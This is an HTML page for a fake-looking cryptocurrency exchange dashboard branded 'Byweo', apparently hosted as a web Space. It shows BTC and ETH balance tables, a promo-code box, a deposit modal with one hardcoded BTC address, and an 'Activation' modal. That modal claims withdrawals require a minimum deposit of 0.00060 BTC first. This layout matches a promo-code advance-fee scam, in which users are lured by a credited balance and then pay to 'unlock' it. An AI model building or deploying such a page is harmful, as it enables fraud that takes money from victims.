Spaces:
Running
Running
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>Dashboard - Byweo</title> | |
| <link rel="stylesheet" href="styles.css"> | |
| </head> | |
| <body> | |
| <!-- Complete redesign to match Byweo dashboard with sidebar and professional layout --> | |
| <div class="dashboard-layout"> | |
| <!-- Header --> | |
| <header class="dashboard-header"> | |
| <div class="header-content"> | |
| <div class="logo"> | |
| <div class="logo-icon"> | |
| <svg width="32" height="32" viewBox="0 0 32 32" fill="none"> | |
| <rect width="32" height="32" rx="8" fill="url(#gradient1)"/> | |
| <path d="M8 12L16 8L24 12L16 16L8 12Z" fill="white" opacity="0.9"/> | |
| <path d="M8 16L16 12L24 16L16 20L8 16Z" fill="white" opacity="0.7"/> | |
| <path d="M8 20L16 16L24 20L16 24L8 20Z" fill="white" opacity="0.5"/> | |
| <defs> | |
| <linearGradient id="gradient1" x1="0%" y1="0%" x2="100%" y2="100%"> | |
| <stop offset="0%" style="stop-color:#00D4FF"/> | |
| <stop offset="100%" style="stop-color:#0099CC"/> | |
| </linearGradient> | |
| </defs> | |
| </svg> | |
| </div> | |
| <span class="logo-text">Byweo</span> | |
| </div> | |
| <nav class="nav-links"> | |
| <a href="#" class="nav-link">Trade</a> | |
| <a href="#" class="nav-link">Terms</a> | |
| <button class="btn-logout" onclick="logout()">Logout</button> | |
| </nav> | |
| </div> | |
| </header> | |
| <div class="dashboard-container"> | |
| <!-- Sidebar --> | |
| <aside class="sidebar"> | |
| <div class="sidebar-item active"> | |
| <span class="sidebar-icon">π</span> | |
| <span class="sidebar-text">Overview</span> | |
| </div> | |
| <div class="sidebar-item"> | |
| <span class="sidebar-icon">π</span> | |
| <span class="sidebar-text">Convert</span> | |
| </div> | |
| <div class="sidebar-item"> | |
| <span class="sidebar-icon">π</span> | |
| <span class="sidebar-text">Staking</span> | |
| </div> | |
| <div class="sidebar-item"> | |
| <span class="sidebar-icon">π</span> | |
| <span class="sidebar-text">Transactions</span> | |
| </div> | |
| <div class="sidebar-item"> | |
| <span class="sidebar-icon">πΈ</span> | |
| <span class="sidebar-text">Transfer</span> | |
| </div> | |
| </aside> | |
| <!-- Main Content --> | |
| <main class="main-content"> | |
| <div class="content-header"> | |
| <h1>Overview</h1> | |
| <div class="search-box"> | |
| <input type="text" placeholder="Search coin"> | |
| <span class="search-icon">π</span> | |
| </div> | |
| </div> | |
| <div class="overview-grid"> | |
| <!-- Balance Section --> | |
| <div class="balance-section"> | |
| <div class="balance-header"> | |
| <span>Total balance</span> | |
| <div class="balance-actions"> | |
| <button class="btn-action" onclick="showDepositModal()">Deposit</button> | |
| <button class="btn-action" onclick="showTransferModal()">Transfer</button> | |
| </div> | |
| </div> | |
| <div class="balance-amount"> | |
| <span id="btcBalance">0</span> | |
| <span class="balance-currency">BTC</span> | |
| </div> | |
| <div class="balance-usd">$<span id="usdBalance">0.00</span></div> | |
| <!-- Account Balances --> | |
| <div class="account-section"> | |
| <h3>Account Balances</h3> | |
| <div class="spot-balance"> | |
| <span class="spot-icon">π‘</span> | |
| <span>Spot</span> | |
| <div class="spot-amount"> | |
| <span id="spotBalance">0 BTC</span> | |
| <span class="spot-usd">$0.00</span> | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| <!-- Asset Balances Table --> | |
| <div class="assets-section"> | |
| <h3>Asset balances</h3> | |
| <div class="assets-table"> | |
| <div class="table-header"> | |
| <span>Asset</span> | |
| <span>Spot balance</span> | |
| <span>On orders</span> | |
| <span>Available balance</span> | |
| <span>Total balance</span> | |
| </div> | |
| <div class="table-row"> | |
| <div class="asset-info"> | |
| <div class="asset-icon btc-icon">βΏ</div> | |
| <div class="asset-details"> | |
| <span class="asset-name">BTC</span> | |
| <span class="asset-full">Bitcoin</span> | |
| </div> | |
| </div> | |
| <span class="balance-cell"> | |
| <span id="btcSpotBalance">0.000000 BTC</span> | |
| <span class="balance-usd-small">$0.00</span> | |
| </span> | |
| <span class="balance-cell"> | |
| <span>0.000000 BTC</span> | |
| <span class="balance-usd-small">$0.00</span> | |
| </span> | |
| <span class="balance-cell"> | |
| <span id="btcAvailableBalance">0.000000 BTC</span> | |
| <span class="balance-usd-small">$0.00</span> | |
| </span> | |
| <span class="balance-cell"> | |
| <span id="btcTotalBalance">0.000000 BTC</span> | |
| <span class="balance-usd-small">$0.00</span> | |
| </span> | |
| </div> | |
| <div class="table-row"> | |
| <div class="asset-info"> | |
| <div class="asset-icon eth-icon">Ξ</div> | |
| <div class="asset-details"> | |
| <span class="asset-name">ETH</span> | |
| <span class="asset-full">Ethereum</span> | |
| </div> | |
| </div> | |
| <span class="balance-cell"> | |
| <span>0.000000 ETH</span> | |
| <span class="balance-usd-small">$0.00</span> | |
| </span> | |
| <span class="balance-cell"> | |
| <span>0.000000 ETH</span> | |
| <span class="balance-usd-small">$0.00</span> | |
| </span> | |
| <span class="balance-cell"> | |
| <span>0.000000 ETH</span> | |
| <span class="balance-usd-small">$0.00</span> | |
| </span> | |
| <span class="balance-cell"> | |
| <span>0.000000 ETH</span> | |
| <span class="balance-usd-small">$0.00</span> | |
| </span> | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| <!-- Action Buttons --> | |
| <div class="action-buttons"> | |
| <button class="btn-deposit" onclick="showDepositModal()">Deposit</button> | |
| <button class="btn-withdraw" onclick="showWithdrawModal()">Withdraw</button> | |
| </div> | |
| <!-- Promo Code Section --> | |
| <div class="promo-section"> | |
| <h2>PROMO CODE</h2> | |
| <p>Use a promo code to increase your balance and rewards</p> | |
| <div class="promo-form"> | |
| <label>Type promo code below</label> | |
| <input type="text" id="promoCode" placeholder="YOUR PROMO CODE"> | |
| <button onclick="redeemPromoCode()">ACTIVATE A PROMO CODE</button> | |
| </div> | |
| </div> | |
| </main> | |
| </div> | |
| </div> | |
| <!-- Modals --> | |
| <div id="depositModal" class="modal"> | |
| <div class="modal-content"> | |
| <div class="modal-header"> | |
| <h3>Address</h3> | |
| <span class="close" onclick="closeDepositModal()">×</span> | |
| </div> | |
| <div class="deposit-content"> | |
| <div class="wallet-graphic">π³</div> | |
| <p>Only send BTC to this address. Sending any other asset to this address may result in the loss of your deposit.</p> | |
| <div class="deposit-warning">Minimum deposit amount: 0.0005 BTC</div> | |
| <div class="deposit-address"> | |
| <span>1J8Be2eVqDAvEQDqRqPfropJSrmxLZYG</span> | |
| <button onclick="copyAddress()">π</button> | |
| </div> | |
| <div class="qr-code"> | |
| <div class="qr-placeholder">QR CODE</div> | |
| </div> | |
| <p class="deposit-note">Please be sure that the address is correct to the token that you are depositing.</p> | |
| </div> | |
| </div> | |
| </div> | |
| <div id="withdrawModal" class="modal"> | |
| <div class="modal-content"> | |
| <div class="modal-header"> | |
| <h3>Select a coin to withdraw funds</h3> | |
| <span class="close" onclick="closeWithdrawModal()">×</span> | |
| </div> | |
| <div class="withdraw-content"> | |
| <div class="wallet-graphic">π³</div> | |
| <div class="payment-methods"> | |
| <div class="payment-method"> | |
| <span class="payment-icon">π³</span> | |
| <span>Crypto</span> | |
| </div> | |
| <div class="payment-method"> | |
| <span class="payment-icon">π³</span> | |
| <span>Visa / Mastercard</span> | |
| </div> | |
| <div class="payment-method"> | |
| <span class="payment-icon">π¦</span> | |
| <span>PayPal</span> | |
| </div> | |
| <div class="payment-method"> | |
| <span class="payment-icon">π¦</span> | |
| <span>Swift</span> | |
| </div> | |
| </div> | |
| <div class="coin-selection"> | |
| <select id="coinSelect"> | |
| <option>Select a coin to withdraw...</option> | |
| <option value="BTC">BTC - Bitcoin</option> | |
| <option value="ETH">ETH - Ethereum</option> | |
| </select> | |
| </div> | |
| <div class="network-selection"> | |
| <select id="networkSelect"> | |
| <option>Select a network...</option> | |
| <option value="BITCOIN">BITCOIN</option> | |
| <option value="BEP20">BEP20</option> | |
| </select> | |
| </div> | |
| <button class="btn-continue" onclick="processWithdraw()">Continue</button> | |
| <br> | |
| <br> | |
| <br> | |
| </div> | |
| </div> | |
| </div> | |
| <div id="activationModal" class="modal"> | |
| <div class="modal-content activation-modal"> | |
| <div class="activation-header"> | |
| <div class="error-icon">β</div> | |
| <h3>Activation β</h3> | |
| </div> | |
| <div class="activation-content"> | |
| <p>To withdraw funds to a third-party address, you need to activate your account. To activate the account, make a minimum deposit of 0.00060 BTC. The deposit can also be withdrawn after account activation.</p> | |
| <div class="deposit-status"> | |
| <span>Your deposit: 0.000000 / 0.00060 BTC.</span> | |
| </div> | |
| <div class="status-table"> | |
| <div class="status-row"> | |
| <span>Status</span> | |
| <span>Transaction ID</span> | |
| </div> | |
| <div class="status-row"> | |
| <span class="error-status">Error</span> | |
| <span>not created</span> | |
| </div> | |
| </div> | |
| <p class="support-text">Contact online support for additional information.</p> | |
| <button class="btn-wallet" onclick="closeActivationModal()">Wallet</button> | |
| </div> | |
| </div> | |
| </div> | |
| <!-- Notification --> | |
| <div id="notification" class="notification"></div> | |
| <script src="script.js"></script> | |
| </body> | |
| </html> | |